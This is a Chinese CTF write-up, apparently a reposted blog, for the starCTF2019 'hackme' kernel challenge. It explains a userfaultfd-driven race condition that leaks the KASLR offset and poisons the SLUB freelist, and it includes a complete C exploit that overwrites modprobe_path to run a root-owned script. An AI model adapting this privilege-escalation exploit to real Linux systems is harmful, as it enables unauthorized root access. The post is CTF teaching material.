【userfaultfd 条件竞争】starCTF2019 - hackme

前言

呜呜呜,这题不难,但是差不多一个多月没碰我的女朋友 kernel pwn 了,对我的 root 宝宝也是非常想念,可惜这题没有找到我的 root 宝宝,就偷了她的 flag

哎有点生疏了,这题没看出来堆溢出,直接条件竞争打了,但感觉条件竞争打简单一些。

题目分析

内核版本 4.20.13
开了 smap/smep/kaslr
给了 config 配置文件,查看得到如下信息:

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_STATIC_USERMODEHELPER is not set

所以这里的 slub obj 的 freelist 在头8字节,调试也是如此
然后题目实现了一个菜单堆,有增删改查的功能,漏洞主要全程没用上锁,但是我做完后去网上搜了一下,发现这题还有堆溢出,这里堆溢出就不说了,笔者是利用条件竞争做的:
在这里插入图片描述
网上说这里 offset 可以为负数,导致向上溢出:) 这里我看比较是 unsigned 的就没想着溢出,而且条件竞争也很明显

漏洞利用

整体比较简单,就不多说了,主要就记录一下关键点,其实这里利用方式还挺多的,毕竟堆块大小没有限制

初始想法 seq_operations + pt_regs 进行提权 【X 没有合适的 gadget】

这里讲下为啥失败,因为这里的 gadget 大多都是这样的:)这里找了好久的 gadget,没一个行的
在这里插入图片描述
可以看到这里的 pop r10; lea rsp, [r10-8] 导致了我们无法成功劫持 rsp, 除非泄漏内核栈地址,但是如果都可以泄漏内核栈地址了,就不用这样搞了

修改 freelist 劫持 modprobe_path

劫持 freelist 的时候,这里不要直接修改 freelistmodprobe_path,因为系统可能会分配堆块,这时候就会报错,为啥呢?话不多说,放图:
在这里插入图片描述
这里的 /sbin/xxx 肯定是个无效的地址啊,但是这里发现 modprobe_path 前面就是一片0区域,所以让 freelist 指向0区域即可
exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>

int fd;
int seq_fd;
uint64_t koffset;
uint64_t swapgs_kpti   = 0xffffffff8120092e;
uint64_t magic_gadget  = 0xffffffff811dad61; // add rsp, 0x38 ; ret
uint64_t pop_rdi       = 0xffffffff81033de0; // : pop rdi ; ret;
uint64_t init_cred     = 0xffffffff8183f380; // D init_cred
uint64_t commit_creds  = 0xffffffff8104d220; // T commit_creds;
uint64_t modprobe_path = 0xffffffff8183f960;

struct request {
        long long idx;
        char* buf;
        long long len;
        long long off;
};

void add(long long idx, char* buf, long long len)
{
        struct request req = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, 0x30000, &req);
}

void dele(long long idx)
{
        struct request req = { .idx = idx };
        ioctl(fd, 0x30001, &req);
}

void kwrite(long long idx, char* buf, long long off, long len)
{
        struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
        ioctl(fd, 0x30002, &req);
}

void kread(long long idx, char* buf, long long off, long len)
{
        struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
        ioctl(fd, 0x30003, &req);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                dele(0);
                open("/proc/self/stat", O_RDONLY);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler0(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                uint64_t* ptr = copy_src;
                ptr[0] = modprobe_path-0x10;
                dele(0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/pwn/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /home/pwn/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); // 非法格式的二进制文件
        system("chmod +x /home/pwn/dummy");
        system("/home/pwn/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/hackme", O_RDONLY);
        char buf[0x300] = { 0 };
        add(0, buf, 0x20);

        void* uffd_buf;
        pthread_t moniter_thr;
        uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(&moniter_thr, uffd_buf, 0x1000, handler);

        kread(0, uffd_buf, 0, 0x20);
        binary_dump("seq_operations data", uffd_buf, 0x20);
        koffset = *(uint64_t*)(uffd_buf + 8) - 0xffffffff810d30e0;
        modprobe_path += koffset;
        hexx("koffset", koffset);
        hexx("modprobe_path", modprobe_path);

        add(0, buf, 0x80);
        void* uffd_buf0;
        pthread_t moniter_thr0;
        uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(&moniter_thr0, uffd_buf0, 0x1000, handler0);

        kwrite(0, uffd_buf0, 0, 0x8);
/*
        __asm__(
       "mov r15,   0xdeadbeef;"
       "mov r14,   0x11111111;"
       "mov r13,   0x22222222;"
       "mov r12,   0x33333333;"
       "mov rbp,   0x44444444;"
       "mov rbx,   0x55555555;"
       "mov r11,   0x66666666;"
       "mov r10,   0x77777777;"
       "mov r9,    0x88888888;"
       "mov r8,    0x99999999;"
       "xor rax,   rax;"
       "mov rcx,   0xaaaaaaaa;"
       "mov rdx,   8;"
       "mov rsi,   rsp;"
       "mov rdi,   seq_fd;"
       "syscall"
        );
*/
        puts("[+] hajick modprobe_path");
        add(1, buf, 0x80);
        char* cmd = "/home/pwn/x";
        strncpy(buf+0x10, cmd, strlen(cmd));
        add(2, buf, 0x80);
        get_flag();
        puts("[+] EXP NEVER END");
        return 0;
}

效果如下:
在这里插入图片描述

总结

好久没碰 kernel pwn,写 exp 很不熟练了,期末后再练练,复现一些 cve

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/286832.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

引导过程的解析以及教程za

bios加电自检------mbr--------grub-------加载内核文件------启动第一个进程 bios的主要作用&#xff1a;检测硬件是否正常&#xff0c;然后根据bios中的启动项设置&#xff0c;去找内核文件 boot开机启动项顺序&#xff0c;你可以把内核文件放在何处&#xff1f; 1.硬盘 …

Vue3 watch 的使用,如何监听一个对象中的属性值的变化 vue3 + ts + vite

Vue3 watch 的使用&#xff0c;如何监听一个对象中的属性值的变化 由 vue2 转到 vue3 ts vite 之后都不会写这些玩意了。搜了下&#xff0c;找到了答案&#xff1a; vue2 的 watch export default {watch: {$route.query.id(newValue){// 可以这样监听路由的变化},formUse…

CGAL的D维空间搜索(基于KD树)

1、介绍 空间搜索包通过提供支持以下算法的实现来实现精确和近似距离的实现 最近和最远邻居搜索 精确和近似搜索 &#xff08;近似&#xff09;范围搜索 &#xff08;近似&#xff09;k-最近邻和k-最远邻搜索 &#xff08;近似&#xff09;增量最近邻和增量最远邻搜索 表示点和…

SPSS23软件安装包下载及安装教程

SPSS 23下载链接&#xff1a;https://docs.qq.com/doc/DUkRHVUxFUkVBUUlj 1.选中下载好的安装包&#xff0c;鼠标右键解压到“SPSS 23 64bit”文件夹 2.打开”Setup“文件夹 3.选中”Setup.exe“鼠标右击选择以管理员身份运行 4.点击“下一步” 5.点击“下一步” 6.选择“我接受…

安全与认证Week4

目录 本章需要理解的问题 Web Security (TLS/SSL) 关于网络 使用网络会受到的威胁 各层安全协议 S/MIME、PGP&#xff08;后面和S/MIME一起出现&#xff09;、Kerberos、TLS/SSL 和 IP/IPSec 分别是&#xff1a; S/MIME (Secure/Multipurpose Internet Mail Extensions)&#x…

Redis缓存保卫战:拒绝缓存击穿的进攻【redis问题 三】

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 Redis缓存保卫战&#xff1a;拒绝缓存击穿的进攻 前言缓存击穿的定义和原理为何会发生缓存击穿缓存击穿的危害防范缓存击穿结语: 前言 你是否曾经遇到过系统在高并发情况下出现严重性能问题&#xff…

【计算机图形学】NAP: Neural 3D Articulation Prior

文章目录 1. 这篇论文做了什么事&#xff0c;有什么贡献&#xff1f;2. Related Work铰接物体建模3D中的Diffusion model扩散模型 3. Pipeline铰接树参数化基于Diffusion的铰接树生成去噪网络 4. 实验评价铰接物体生成——以往做法与本文提出的新指标NAP捕捉到的铰接物体分布质…

用户管理第2节课--idea 2023.2 后端--实现基本数据库操作(操作user表) -- 自动生成 --【本人】

一、插件安装 1.1 搜索插件 mybatis 安装 1.2 接受安装 1.3 再次进入&#xff0c;说明安装好了 1.4 与鱼皮不同点 1&#xff09;mybatis 版本不一致 鱼皮&#xff1a; 本人&#xff1a; 2&#xff09;鱼皮需重启安装 本人不需要 1.5 【需完成 三、步骤&#xff0c;再来看】 …

Noisy DQN 跑 CartPole-v1

gym 0.26.1 CartPole-v1 NoisyNet DQN NoisyNet 就是把原来Linear里的w/b 换成 mu sigma * epsilon, 这是一种非常简单的方法&#xff0c;但是可以显著提升DQN的表现。 和之前最原始的DQN相比就是改了两个地方&#xff0c;一个是Linear改成了NoisyLinear,另外一个是在agent在t…

车载 Android之 核心服务 - CarPropertyService 解析

重要类的源码文件名及位置&#xff1a; CarPropertyManager.java packages/services/Car/car-lib/src/android/car/hardware/property/ CarPropertyService.java packages/services/Car/service/src/com/android/car/ 类的介绍&#xff1a; CarPropertyManager&#xff1a…

基于多反应堆的高并发服务器【C/C++/Reactor】(中)在EventLoop中处理被激活的文件描述符的事件

文件描述符处理与回调函数 一、主要概念 反应堆模型&#xff1a;一种处理系统事件或网络事件的模型&#xff0c;当文件描述符被激活时&#xff0c;可以检测到文件描述符&#xff1a;在操作系统中&#xff0c;用于标识打开的文件、套接字等的一种数据类型 处理激活的文件描述符…

k8s中ConfigMap详解及应用

一、ConfigMap概述 ConfigMap是k8s的一个配置管理组件&#xff0c;可以将配置以key-value的形式传递&#xff0c;通常用来保存不需要加密的配置信息&#xff0c;加密信息则需用到Secret&#xff0c;主要用来应对以下场景&#xff1a; 使用k8s部署应用&#xff0c;当你将应用配置…

DrGraph原理示教 - OpenCV 4 功能 - 二值化

二值化&#xff0c;也就是处理结果为0或1&#xff0c;当然是针对图像的各像素而言的 1或0&#xff0c;对应于有无&#xff0c;也就是留下有用的&#xff0c;删除无用的&#xff0c;有用的部分&#xff0c;就是关心的部分 在图像处理中&#xff0c;也不仅仅只是1或0&#xff0c;…

docker安装postgresql15或者PG15

1. 查询版本 docker search postgresql docker pull postgres:15.3 # 也可以拉取其他版本2.运行容器并挂载数据卷 mkdir -p /data/postgresql docker run --name postgres \--restartalways \-e POSTGRES_PASSWORDpostgresql \-p 5433:5432 \-v /data/postgresql:/var/lib/p…

工业制造领域,折弯工艺如何进行优化?

若将消费互联网与工业互联网相比较&#xff0c;消费互联网就好似一片宽度为1000米、深度仅有1米的水域&#xff0c;而工业互联网则类似于宽度有1000米、深达10000米的海域。消费互联网因为被限制了深度&#xff0c;便只能在浅显的焦虑中创造出一种消费趋势。相较之下&#xff0…

数据库迁移工具包:DBSofts ESF Database Migration Crack

ESF 数据库迁移工具包 - 11.2.17 允许您通过 3 个步骤在各种数据库格式之间迁移数据&#xff0c;无需任何脚本&#xff01; DBSofts ESF Database Migration它极大地减少了与以下任何数据库格式之间迁移的工作量、成本和风险&#xff1a;Oracle、MySQL、MariaDB、SQL Server、…

(15)Linux 进程创建与终止函数forkslab 分派器

前言&#xff1a;本章我们主要讲解进程的创建与终止&#xff0c;最后简单介绍一下 slab 分派器。 一、进程创建&#xff08;Process creation&#xff09; 1、分叉函数 fork 在 中&#xff0c; fork 函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新的进程。 …

html引入react以及hook的使用

html引入react 效果代码注意 效果 分享react demo片段的时候&#xff0c;如果是整个工程项目就有点太麻烦了&#xff0c;打开速度慢&#xff0c;文件多且没必要&#xff0c;这个时候用html就很方便。 在html中能正常使用useState 和 useEffect 等hook。 代码 <!DOCTYPE htm…

助力成长的开源项目 —— 筑梦之路

闯关式 SQL 自学&#xff1a;sql-mother 免费的闯关式 SQL 自学教程网站&#xff0c;从 0 到 1 带大家掌握常用 SQL 语法&#xff0c;目前一共有 30 多个关卡&#xff0c;希望你在通关的时候&#xff0c;变身为一个 SQL 高手。除了闯关模式之外&#xff0c;这个项目支持自由选…

Redis(二)数据类型

文章目录 官网备注十大数据类型StringListHashSetZSetBitmapHyperLogLog&#xff1a;GEOStreamBitfield 官网 英文&#xff1a;https://redis.io/commands/ 中文&#xff1a;http://www.redis.cn/commands.html 备注 命令不区分大小写&#xff0c;key区分大小写帮助命令help…